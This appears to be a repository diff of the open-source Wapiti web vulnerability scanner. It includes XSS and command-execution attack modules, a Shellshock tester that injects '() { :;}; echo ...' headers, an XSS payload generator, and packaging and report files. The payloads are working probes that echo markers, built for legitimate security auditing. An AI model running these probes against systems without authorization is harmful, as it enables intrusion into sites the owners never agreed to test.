# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import random
from itertools import chain
from os.path import join as path_join
from configparser import ConfigParser
from math import ceil
from requests.exceptions import ReadTimeout
from wapitiCore.attack.attack import Attack, Mutator, PayloadType
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
from wapitiCore.net.xss_utils import generate_payloads, valid_xss_content_type
class mod_xss(Attack):
"""This class implements a cross site scripting attack"""
# magic strings we must see to be sure script is vulnerable to XSS
# payloads must be created on those patterns
script_ok = ["alert('__XSS__')", "alert(\"__XSS__\")", "String.fromCharCode(0,__XSS__,1)"]
# simple payloads that doesn't rely on their position in the DOM structure
# payloads injected after closing a tag attribute value (attrval) or in the
# content of a tag (text node like between <p> and </p>)
# only trick here must be on character encoding, filter bypassing, stuff like that
# form the simplest to the most complex, Wapiti will stop on the first working
independant_payloads = []
php_self_payload = "%3Cscript%3Ephpselfxss()%3C/script%3E"
php_self_check = "<script>phpselfxss()</script>"
name = "xss"
# two dict exported for permanent XSS scanning
# GET_XSS structure :
# {uniq_code : http://url/?param1=value1&param2=uniq_code&param3..., next_uniq_code : ...}
# GET_XSS = {}
# POST XSS structure :
# {uniq_code: [target_url, {param1: val1, param2: uniq_code, param3:...}, referer_ul], next_uniq_code : [...]...}
# POST_XSS = {}
TRIED_XSS = {}
PHP_SELF = []
# key = taint code, value = (payload, flags)
SUCCESSFUL_XSS = {}
PAYLOADS_FILE = "xssPayloads.ini"
MSG_VULN = _("XSS vulnerability")
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
self.independant_payloads = self.payloads
@staticmethod
def random_string():
"""Create a random unique ID that will be used to test injection."""
# doesn't uppercase letters as BeautifulSoup make some data lowercase
code = "w" + "".join([random.choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 9)])
return code, set()
def attack(self):
methods = ""
if self.do_get:
methods += "G"
if self.do_post:
methods += "PF"
mutator = Mutator(
methods=methods,
payloads=self.random_string,
qs_inject=self.must_attack_query_string,
skip=self.options.get("skipped_parameters")
)
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
if self.verbose >= 1:
print("[+] {}".format(original_request))
for mutated_request, parameter, taint, flags in mutator.mutate(original_request):
try:
# We don't display the mutated request here as the payload is not interesting
try:
response = self.crawler.send(mutated_request)
except ReadTimeout:
# We just inserted harmless characters, if we get a timeout here, it's not interesting
continue
else:
# We keep a history of taint values we sent because in case of stored value, the taint code
# may be found in another webpage by the permanentxss module.
self.TRIED_XSS[taint] = (mutated_request, parameter, flags)
# Reminder: valid_xss_content_type is not called before before content is not necessary
# reflected here, may be found in another webpage so we have to inject tainted values
# even if the Content-Type seems uninteresting.
if taint.lower() in response.content.lower() and valid_xss_content_type(mutated_request):
# Simple text injection worked in HTML response, let's try with JS code
payloads = generate_payloads(response.content, taint, self.independant_payloads)
# TODO: check that and make it better
if PayloadType.get in flags:
method = "G"
elif PayloadType.file in flags:
method = "F"
else:
method = "P"
self.attempt_exploit(method, payloads, original_request, parameter, taint)
except KeyboardInterrupt as exception:
yield exception
yield original_request
@property
def payloads(self):
"""Load the payloads from the specified file"""
if not self.PAYLOADS_FILE:
return []
payloads = []
config_reader = ConfigParser()
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
for section in config_reader.sections():
payload = config_reader[section]["payload"]
flags = {section}
clean_payload = payload.strip(" \n")
clean_payload = clean_payload.replace("[TAB]", "\t")
clean_payload = clean_payload.replace("[LF]", "\n")
clean_payload = clean_payload.replace(
"[TIME]",
str(int(ceil(self.options["timeout"])) + 1)
)
payload_type = PayloadType.pattern
if "[TIMEOUT]" in clean_payload:
payload_type = PayloadType.time
clean_payload = clean_payload.replace("[TIMEOUT]", "")
flags.add(payload_type)
payloads.append((clean_payload, flags))
return payloads
def attempt_exploit(self, method, payloads, original_request, parameter, taint):
timeouted = False
page = original_request.path
saw_internal_error = False
attack_mutator = Mutator(
methods=method,
payloads=payloads,
qs_inject=self.must_attack_query_string,
parameters=[parameter],
skip=self.options.get("skipped_parameters")
)
for evil_request, xss_param, xss_payload, xss_flags in attack_mutator.mutate(original_request):
if self.verbose == 2:
print("[¨] {0}".format(evil_request))
try:
response = self.crawler.send(evil_request)
except ReadTimeout:
if timeouted:
continue
self.log_orange("---")
self.log_orange(Anomaly.MSG_TIMEOUT, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(evil_request.http_repr())
self.log_orange("---")
if xss_param == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_TIMEOUT
else:
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(xss_param)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.RES_CONSUMPTION,
level=Anomaly.MEDIUM_LEVEL,
request=evil_request,
info=anom_msg,
parameter=xss_param
)
timeouted = True
else:
if self.check_payload(response, xss_flags, taint):
self.SUCCESSFUL_XSS[taint] = (xss_payload, xss_flags)
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.XSS,
level=Vulnerability.HIGH_LEVEL,
request=evil_request,
parameter=xss_param,
info=_("XSS vulnerability found via injection"
" in the parameter {0}").format(xss_param)
)
if xss_param == "QUERY_STRING":
injection_msg = Vulnerability.MSG_QS_INJECT
else:
injection_msg = Vulnerability.MSG_PARAM_INJECT
self.log_red("---")
self.log_red(
injection_msg,
self.MSG_VULN,
page,
xss_param
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(evil_request.http_repr())
self.log_red("---")
# stop trying payloads and jump to the next parameter
break
elif response.status == 500 and not saw_internal_error:
if xss_param == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_500
else:
anom_msg = Anomaly.MSG_PARAM_500.format(xss_param)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.ERROR_500,
level=Anomaly.HIGH_LEVEL,
request=evil_request,
info=anom_msg,
parameter=xss_param
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_500, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(evil_request.http_repr())
self.log_orange("---")
saw_internal_error = True
def check_payload(self, response, flags, taint):
config_reader = ConfigParser()
config_reader.read_file(open(path_join(self.CONFIG_DIR, self.PAYLOADS_FILE)))
for section in config_reader.sections():
if section in flags:
value = config_reader[section]["value"].replace("__XSS__", taint)
attribute = config_reader[section]["attribute"]
case_sensitive = config_reader[section].getboolean("case_sensitive")
for tag in response.soup.find_all(config_reader[section]["tag"]):
if attribute == "string" and tag.string:
if case_sensitive:
if value in tag.string:
return True
else:
if value.lower() in tag.string.lower():
return True
else:
if attribute in tag.attrs:
if case_sensitive:
if value in tag[attribute]:
return True
else:
if value.lower() in tag[attribute].lower():
return True
break
return False

View File

@ -0,0 +1,206 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from itertools import chain
from requests.exceptions import ReadTimeout, RequestException
from wapitiCore.attack.attack import Attack, PayloadType
from wapitiCore.language.vulnerability import Vulnerability, Anomaly, _
class mod_exec(Attack):
"""
This class implements a command execution attack
"""
PAYLOADS_FILE = "execPayloads.txt"
name = "exec"
@staticmethod
def _find_pattern_in_response(data, warned: bool):
vuln_info = ""
executed = 0
if "eval()'d code</b> on line <b>" in data and not warned:
vuln_info = _("Warning eval()")
warned = True
if "PATH=" in data and "PWD=" in data:
vuln_info = _("Command execution")
executed = True
if "w4p1t1_eval" in data:
vuln_info = _("PHP evaluation")
executed = True
if "Cannot execute a blank command in" in data and not warned:
vuln_info = _("Warning exec")
warned = True
if "sh: command substitution:" in data and not warned:
vuln_info = _("Warning exec")
warned = True
if "Fatal error</b>: preg_replace" in data and not warned:
vuln_info = _("preg_replace injection")
warned = True
if "Warning: usort()" in data and not warned:
vuln_info = _("Warning usort()")
warned = True
if "Warning: preg_replace():" in data and not warned:
vuln_info = _("preg_replace injection")
warned = True
if "Warning: assert():" in data and not warned:
vuln_info = _("Warning assert")
warned = True
if "Failure evaluating code:" in data and not warned:
vuln_info = _("Evaluation warning")
warned = True
return vuln_info, executed, warned
def attack(self):
mutator = self.get_mutator()
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
for original_request in chain(http_resources, forms):
warned = False
timeouted = False
page = original_request.path
saw_internal_error = False
if self.verbose >= 1:
print("[+] {}".format(original_request))
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
try:
if self.verbose == 2:
print("[¨] {0}".format(mutated_request))
try:
response = self.crawler.send(mutated_request)
except ReadTimeout:
if PayloadType.time in flags:
vuln_info = _("Blind command execution")
if parameter == "QUERY_STRING":
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
else:
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.EXEC,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
info=vuln_message,
parameter=parameter
)
self.log_red("---")
self.log_red(
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING"
else Vulnerability.MSG_PARAM_INJECT,
vuln_info,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")
break
elif timeouted:
continue
self.log_orange("---")
self.log_orange(Anomaly.MSG_TIMEOUT, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_TIMEOUT
else:
anom_msg = Anomaly.MSG_PARAM_TIMEOUT.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.RES_CONSUMPTION,
level=Anomaly.MEDIUM_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
timeouted = True
else:
vuln_info, executed, warned = self._find_pattern_in_response(response.content, warned)
if vuln_info:
# An error message implies that a vulnerability may exists
if parameter == "QUERY_STRING":
vuln_message = Vulnerability.MSG_QS_INJECT.format(vuln_info, page)
log_message = Vulnerability.MSG_QS_INJECT
else:
vuln_message = _("{0} via injection in the parameter {1}").format(vuln_info, parameter)
log_message = Vulnerability.MSG_PARAM_INJECT
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.EXEC,
level=Vulnerability.HIGH_LEVEL,
request=mutated_request,
info=vuln_message,
parameter=parameter
)
self.log_red("---")
self.log_red(
log_message,
vuln_info,
page,
parameter
)
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
self.log_red(mutated_request.http_repr())
self.log_red("---")
if executed:
# We reached maximum exploitation, stop here
break
elif response.status == 500 and not saw_internal_error:
saw_internal_error = True
if parameter == "QUERY_STRING":
anom_msg = Anomaly.MSG_QS_500
else:
anom_msg = Anomaly.MSG_PARAM_500.format(parameter)
self.add_anom(
request_id=original_request.path_id,
category=Anomaly.ERROR_500,
level=Anomaly.HIGH_LEVEL,
request=mutated_request,
info=anom_msg,
parameter=parameter
)
self.log_orange("---")
self.log_orange(Anomaly.MSG_500, page)
self.log_orange(Anomaly.MSG_EVIL_REQUEST)
self.log_orange(mutated_request.http_repr())
self.log_orange("---")
except (KeyboardInterrupt, RequestException) as exception:
yield exception
yield original_request

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,89 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2014-2018 Nicolas Surribas
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import random
import string
from binascii import hexlify
from requests.exceptions import RequestException
from wapitiCore.attack.attack import Attack
from wapitiCore.language.vulnerability import Vulnerability, _
from wapitiCore.net import web
class mod_shellshock(Attack):
"""
This class implements a "bash shellshock" vulnerability tester"
"""
name = "shellshock"
do_get = False
do_post = False
def __init__(self, crawler, persister, logger, attack_options):
Attack.__init__(self, crawler, persister, logger, attack_options)
empty_func = "() { :;}; "
self.rand_string = "".join([random.choice(string.hexdigits) for _ in range(32)])
hex_string = hexlify(self.rand_string.encode())
bash_string = ""
for i in range(0, 64, 2):
bash_string += "\\x" + hex_string[i:i+2].decode()
cmd = "echo; echo; echo -e '{0}';".format(bash_string)
self.hdrs = {
"user-agent": empty_func + cmd,
"referer": empty_func + cmd,
"cookie": empty_func + cmd
}
def attack(self):
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
for original_request in http_resources:
try:
url = original_request.path
if self.verbose == 2:
print("[¨] {0}".format(url))
if url not in self.attacked_get:
self.attacked_get.append(url)
evil_req = web.Request(url)
resp = self.crawler.send(evil_req, headers=self.hdrs)
if resp:
data = resp.content
if self.rand_string in data:
self.log_red(_("URL {0} seems vulnerable to Shellshock attack!").format(url))
self.add_vuln(
request_id=original_request.path_id,
category=Vulnerability.EXEC,
level=Vulnerability.HIGH_LEVEL,
request=evil_req,
info=_("URL {0} seems vulnerable to Shellshock attack").format(url)
)
except (RequestException, KeyboardInterrupt) as exception:
yield exception
yield original_request

View File

@ -0,0 +1,68 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
# Copyright (C) 2008-2018 Nicolas Surribas
#
# Original author :
# David del Pozo
# Alberto Pastor
# Copyright (C) 2008 Informatica Gesfor
# ICT Romulus (http://www.ict-romulus.eu)
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import os
import locale
import gettext
import sys
AVAILABLE_LANGS = ["en", "es", "fr"] # "de", "ms"]
if sys.platform == "win32":
import ctypes
windll = ctypes.windll.kernel32
def_locale = locale.windows_locale[windll.GetUserDefaultUILanguage()] # for example fr_FR
lang_country = def_locale[:2]
else:
# getdefaultlocale will return (None, None) if locale settings are incorrectly set (ex: LANG=C)
def_locale = locale.getdefaultlocale() # for example ('fr_FR', 'cp1252')
lang_country = def_locale[0]
lang = None
if isinstance(lang_country, str) and len(lang_country) >= 2:
lang = lang_country[:2] # fr
if lang is None:
print("Unable to correctly determine your language settings. Using english as default.")
print("Please check your locale settings for internationalization features.")
print("===============================================================")
lang = "en"
elif lang not in AVAILABLE_LANGS:
# if lang is not one of the supported languages, we use english
print("Oups! No translations found for your language... Using english.")
print("Please send your translations for improvements.")
print("===============================================================")
lang = "en"
BASE_DIR = os.path.dirname(sys.modules['wapitiCore'].__file__)
LANG_PATH = os.path.join(BASE_DIR, "config", "language")
lan = gettext.translation(
"wapiti",
LANG_PATH,
languages=[lang],
codeset="UTF-8"
)
_ = lan.gettext

View File

@ -0,0 +1,39 @@
<?xml version="1.0" encoding="UTF-8"?>
<reportGenerators>
<reportGenerator>
<description>XML format</description>
<reportTypeKey>xml</reportTypeKey>
<classModule>xmlreportgenerator</classModule>
<className>XMLReportGenerator</className>
</reportGenerator>
<reportGenerator>
<description>HTML format</description>
<reportTypeKey>html</reportTypeKey>
<classModule>htmlreportgenerator</classModule>
<className>HTMLReportGenerator</className>
</reportGenerator>
<reportGenerator>
<description>TXT format</description>
<reportTypeKey>txt</reportTypeKey>
<classModule>txtreportgenerator</classModule>
<className>TXTReportGenerator</className>
</reportGenerator>
<reportGenerator>
<description>VulneraNET format</description>
<reportTypeKey>vulneranet</reportTypeKey>
<classModule>vulneranetxmlreportgenerator</classModule>
<className>VulneraNetXMLReportGenerator</className>
</reportGenerator>
<reportGenerator>
<description>JSON format</description>
<reportTypeKey>json</reportTypeKey>
<classModule>jsonreportgenerator</classModule>
<className>JSONReportGenerator</className>
</reportGenerator>
<reportGenerator>
<description>OpenVAS XML format</description>
<reportTypeKey>openvas</reportTypeKey>
<classModule>openvasreportgenerator</classModule>
<className>OpenVASReportGenerator</className>
</reportGenerator>
</reportGenerators>

View File

@ -0,0 +1,123 @@
#!/usr/bin/env python3
# Don't use this script unless you know exactly what you are doing !
from distutils.core import setup
import py2exe
import os
import sys
# dirty hack so we don't have to give any argument
if "py2exe" not in sys.argv:
sys.argv.append("py2exe")
VERSION = "3.0.1"
# Build file lists
def build_file_list(results, dest, root, src=""):
cwd = os.getcwd()
if src != "":
os.chdir(src)
for root, dirs, files in os.walk(root):
if ".svn" in dirs:
dirs.remove(".svn")
if files:
results.append((os.path.join(dest, root), [os.path.join(src, root, x) for x in files]))
os.chdir(cwd)
data_files = [
("data", ["INSTALL", "README", "TODO", "VERSION"])
]
build_file_list(data_files, "data", "doc", src="")
build_file_list(data_files, "data", "config", src="wapitiCore")
build_file_list(data_files, "data", "report_template", src="wapitiCore")
build_file_list(data_files, "data", "language_sources", src="wapitiCore")
# Main
setup(
name="wapiti3",
version=VERSION,
description="A web application vulnerability scanner",
long_description="""\
Wapiti allows you to audit the security of your web applications.
It performs "black-box" scans, i.e. it does not study the source code of the
application but will scans the webpages of the deployed webapp, looking for
scripts and forms where it can inject data.
Once it gets this list, Wapiti acts like a fuzzer, injecting payloads to see
if a script is vulnerable.""",
url="http://wapiti.sourceforge.net/",
author="Nicolas SURRIBAS",
author_email="nicolas.surribas@gmail.com",
license="GPLv2",
platforms=["Any"],
packages=[
'wapitiCore',
'wapitiCore.attack',
'wapitiCore.language',
'wapitiCore.report',
'wapitiCore.net',
'wapitiCore.file',
'wapitiCore.net.jsparser'
],
data_files=data_files,
console=[
{
"script": "bin/wapiti",
"icon_resources": [(1, "doc/wapiti.ico")]
},
{
"script": "bin/wapiti-cookie",
"icon_resources": [(1, "doc/cookie.ico")]
},
{
"script": "bin/wapiti-getcookie",
"icon_resources": [(1, "doc/cookie.ico")]
}
],
classifiers=[
'Development Status :: 2 - Pre-Alpha',
'Environment :: Console',
'Intended Audience :: End Users/Desktop',
'Intended Audience :: Developers',
'Intended Audience :: System Administrators',
'License :: OSI Approved :: GNU General Public License (GPL)',
'Operating System :: MacOS :: MacOS X',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Operating System :: Unix',
'Programming Language :: Python',
'Topic :: Security',
'Topic :: Internet :: WWW/HTTP :: Indexing/Search',
'Topic :: Software Development :: Testing'
],
options={
"py2exe": {
"includes": [
"wapitiCore.attack.mod_backup",
"wapitiCore.attack.mod_blindsql",
"wapitiCore.attack.mod_buster",
"wapitiCore.attack.mod_crlf",
"wapitiCore.attack.mod_delay",
"wapitiCore.attack.mod_exec",
"wapitiCore.attack.mod_file",
"wapitiCore.attack.mod_htaccess",
"wapitiCore.attack.mod_methods",
"wapitiCore.attack.mod_nikto",
"wapitiCore.attack.mod_permanentxss",
"wapitiCore.attack.mod_shellshock",
"wapitiCore.attack.mod_sql",
"wapitiCore.attack.mod_ssrf",
"wapitiCore.attack.mod_xss",
"wapitiCore.report.reportgenerator",
"wapitiCore.report.htmlreportgenerator",
"wapitiCore.report.jsonreportgenerator",
"wapitiCore.report.openvasreportgenerator",
"wapitiCore.report.txtreportgenerator",
"wapitiCore.report.vulneranetxmlreportgenerator",
"wapitiCore.report.xmlreportgenerator"
]
}
}
)

View File

@ -0,0 +1,112 @@
#!/usr/bin/env python3
# JSON Report Generator Module for Wapiti Project
# Wapiti Project (http://wapiti.sourceforge.net)
#
# Copyright (C) 2014-2018 Nicolas SURRIBAS
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import json
from wapitiCore.report.reportgenerator import ReportGenerator
class JSONReportGenerator(ReportGenerator):
"""This class allow generating reports in JSON format.
The root dictionary contains 4 dictionaries :
- classifications : contains the description and references of a vulnerability type.
- vulnerabilities : each key is matching a vulnerability class. Value is a list of found vulnerabilities.
- anomalies : same as vulnerabilities but used only for error messages and timeouts (items of less importance).
- infos : several informations about the scan.
"""
def __init__(self):
super().__init__()
# Use only one dict for vulnerability and anomaly types
self._flaw_types = {}
self._vulns = {}
self._anomalies = {}
def generate_report(self, output_path):
"""
Generate a JSON report of the vulnerabilities and anomalies which have
been previously logged with the log* methods.
"""
report_dict = {
"classifications": self._flaw_types,
"vulnerabilities": self._vulns,
"anomalies": self._anomalies,
"infos": self._infos
}
with open(output_path, "w") as f:
json.dump(report_dict, f, indent=2)
# Vulnerabilities
def add_vulnerability_type(self, name, description="", solution="", references=None):
"""Add informations on a type of vulnerability"""
if name not in self._flaw_types:
self._flaw_types[name] = {
"desc": description,
"sol": solution,
"ref": references
}
if name not in self._vulns:
self._vulns[name] = []
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
"""
Store the informations about a found vulnerability.
"""
vuln_dict = {
"method": request.method,
"path": request.file_path,
"info": info,
"level": level,
"parameter": parameter,
"http_request": request.http_repr(left_margin=""),
"curl_command": request.curl_repr,
}
if category not in self._vulns:
self._vulns[category] = []
self._vulns[category].append(vuln_dict)
# Anomalies
def add_anomaly_type(self, name, description="", solution="", references=None):
"""Register a type of anomaly"""
if name not in self._flaw_types:
self._flaw_types[name] = {
"desc": description,
"sol": solution,
"ref": references
}
if name not in self._anomalies:
self._anomalies[name] = []
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
"""Store the informations about an anomaly met during the attack."""
anom_dict = {
"method": request.method,
"path": request.file_path,
"info": info,
"level": level,
"parameter": parameter,
"http_request": request.http_repr(left_margin=""),
"curl_command": request.curl_repr
}
if category not in self._anomalies:
self._anomalies[category] = []
self._anomalies[category].append(anom_dict)

View File

@ -0,0 +1,213 @@
import re
from bs4 import BeautifulSoup, element
# Note: il n'est pas nécessaire de fermer tous les parents, le noscript suffira
def close_noscript(tag):
"""Return a string with each closing parent tags for escaping a noscript"""
s = ""
if tag.findParent("noscript"):
curr = tag.parent
while True:
s += "</{0}>".format(curr.name)
if curr.name == "noscript":
break
curr = curr.parent
return s
# type/name/tag ex: attrval/img/src
def study(bs_node, parent=None, keyword=""):
entries = []
# if parent is None:
# print("Keyword is: {0}".format(keyword))
if keyword in str(bs_node).lower():
if isinstance(bs_node, element.Tag):
if keyword in str(bs_node.attrs):
for k, v in bs_node.attrs.items():
if keyword in v:
# print("Found in attribute value {0} of tag {1}".format(k, bs_node.name))
noscript = close_noscript(bs_node)
d = {"type": "attrval", "name": k, "tag": bs_node.name, "noscript": noscript}
if d not in entries:
entries.append(d)
if keyword in k:
# print("Found in attribute name {0} of tag {1}".format(k, bs_node.name))
noscript = close_noscript(bs_node)
d = {"type": "attrname", "name": k, "tag": bs_node.name, "noscript": noscript}
if d not in entries:
entries.append(d)
elif keyword in bs_node.name:
# print("Found in tag name")
noscript = close_noscript(bs_node)
d = {"type": "tag", "value": bs_node.name, "noscript": noscript}
if d not in entries:
entries.append(d)
# recursively search injection points for the same variable
for x in bs_node.contents:
for entry in study(x, parent=bs_node, keyword=keyword):
if entry not in entries:
entries.append(entry)
elif isinstance(bs_node, element.Comment):
# print("Found in comment, tag {0}".format(parent.name))
noscript = close_noscript(bs_node)
d = {"type": "comment", "parent": parent.name, "noscript": noscript}
if d not in entries:
entries.append(d)
elif isinstance(bs_node, element.NavigableString):
# print("Found in text, tag {0}".format(parent.name))
noscript = close_noscript(bs_node)
d = {"type": "text", "parent": parent.name, "noscript": noscript}
if d not in entries:
entries.append(d)
return entries
# generate a list of payloads based on where in the webpage the js-code will be injected
def generate_payloads(html_code, code, independant_payloads):
# We must keep the original source code because bs gives us something that may differ...
soup = BeautifulSoup(html_code, "html5lib")
entries = study(soup, keyword=code)
payloads = []
for elem in entries:
payload = ""
# Try each case where our string can be found
# Leave at the first possible exploitation found
# Our string is in the value of a tag attribute
# ex: <a href="our_string"></a>
if elem["type"] == "attrval":
# print("tag -> {0}".format(elem["tag"]))
# print(elem["name"])
code_index = html_code.find(code)
attrval_index = 0
before_code = html_code[:code_index]
# Not perfect but still best than the former rfind
attr_pattern = "\s*" + elem["name"] + "\s*=\s*"
# Let's find the last match
for m in re.finditer(attr_pattern, before_code, flags=re.IGNORECASE):
attrval_index = m.end()
attrval = before_code[attrval_index:]
# between the tag name and our injected attribute there is an equal sign and maybe
# a quote or a double-quote that we need to close before adding our payload
if attrval.startswith("'"):
payload = "'"
elif attrval.startswith('"'):
payload = '"'
# we must deal differently with self-closing tags
if elem["tag"].lower() in ["img", "input"]:
payload += "/>"
else:
payload += "></" + elem["tag"] + ">"
payload += elem["noscript"]
# ok let's send the requests
for xss, flags in independant_payloads:
js_code = payload + xss.replace("__XSS__", code)
if (js_code, flags) not in payloads:
payloads.append((js_code, flags))
if elem["name"].lower() == "src" and elem["tag"].lower() in ["frame", "iframe"]:
if elem["tag"].lower() == "frame":
flags = {"frame_src_javascript"}
else:
flags = {"iframe_src_javascript"}
js_code = "javascript:String.fromCharCode(0,__XSS__,1);".replace("__XSS__", code)
if (js_code, flags) not in payloads:
payloads.insert(0, (js_code, flags))
# we control an attribute name
# ex: <a our_string="/index.html">
elif elem["type"] == "attrname": # name,tag
if code == elem["name"]:
for xss, flags in independant_payloads:
js_code = '>' + elem["noscript"] + xss.replace("__XSS__", code)
if (js_code, flags) not in payloads:
payloads.append((js_code, flags))
# we control the tag name
# ex: <our_string name="column" />
elif elem["type"] == "tag":
if elem["value"].startswith(code):
# use independent payloads, just remove the first character (<)
for xss, flags in independant_payloads:
payload = elem["noscript"] + xss.replace("__XSS__", code)
js_code = payload[1:]
if (js_code, flags) not in payloads:
payloads.append((js_code, flags))
else:
for xss, flags in independant_payloads:
js_code = "/>" + elem["noscript"] + xss.replace("__XSS__", code)
if (js_code, flags) not in payloads:
payloads.append((js_code, flags))
# we control the text of the tag
# ex: <textarea>our_string</textarea>
elif elem["type"] == "text":
if elem["parent"] in ["title", "textarea"]: # we can't execute javascript in those tags
if elem["noscript"] != "":
payload = elem["noscript"]
else:
payload = "</{0}>".format(elem["parent"])
elif elem["parent"] == "script": # Control over the body of a script :)
# Just check if we can use brackets
js_code = "String.fromCharCode(0,__XSS__,1)".replace("__XSS__", code)
flags = {"script_fromcharcode"}
if (js_code, flags) not in payloads:
payloads.insert(0, (js_code, flags))
for xss, flags in independant_payloads:
js_code = payload + xss.replace("__XSS__", code)
if (js_code, flags) not in payloads:
payloads.append((js_code, flags))
# Injection occurred in a comment tag
# ex: <!-- <div> whatever our_string blablah </div> -->
elif elem["type"] == "comment":
payload = "-->"
if elem["parent"] in ["title", "textarea"]: # we can't execute javascript in those tags
if elem["noscript"] != "":
payload += elem["noscript"]
else:
payload += "</{0}>".format(elem["parent"])
elif elem["parent"] == "script": # Control over the body of a script :)
# Just check if we can use brackets
js_code = payload + "String.fromCharCode(0,__XSS__,1)".replace("__XSS__", code)
flags = {"script_fromcharcode"}
if (js_code, flags) not in payloads:
payloads.insert(0, (js_code, flags))
for xss, flags in independant_payloads:
js_code = payload + xss.replace("__XSS__", code)
if (js_code, flags) not in payloads:
payloads.append((js_code, flags))
html_code = html_code.replace(code, "none", 1) # Reduce the research zone
return payloads
def valid_xss_content_type(http_res):
"""Check whether the returned content-type header allow javascript evaluation."""
# When no content-type is returned, browsers try to display the HTML
if "content-type" not in http_res.headers:
return True
# else only text/html will allow javascript (maybe text/plain will work for IE...)
if "text/html" in http_res.headers["content-type"]:
return True
return False

View File

@ -0,0 +1,16 @@
Main Developer - Nicolas Surribas <nicolas.surribas (at) gmail.com>
http://devloop.users.sourceforge.net/
http://wapiti.sourceforge.net/
A Special thanks to the following people for the work on the version 2.3.0 :
* David del Pozo (spanish translations)
* Alberto Pastor (spanish translations)
* Mattia Barbon (bugfixing and testing)
* Le Gnou & Ecirbaf from www.gimp-attitude.org (new logo)
* int23h (german translations)
* Sindhu Kumar (malaysian translations and Windows testing)
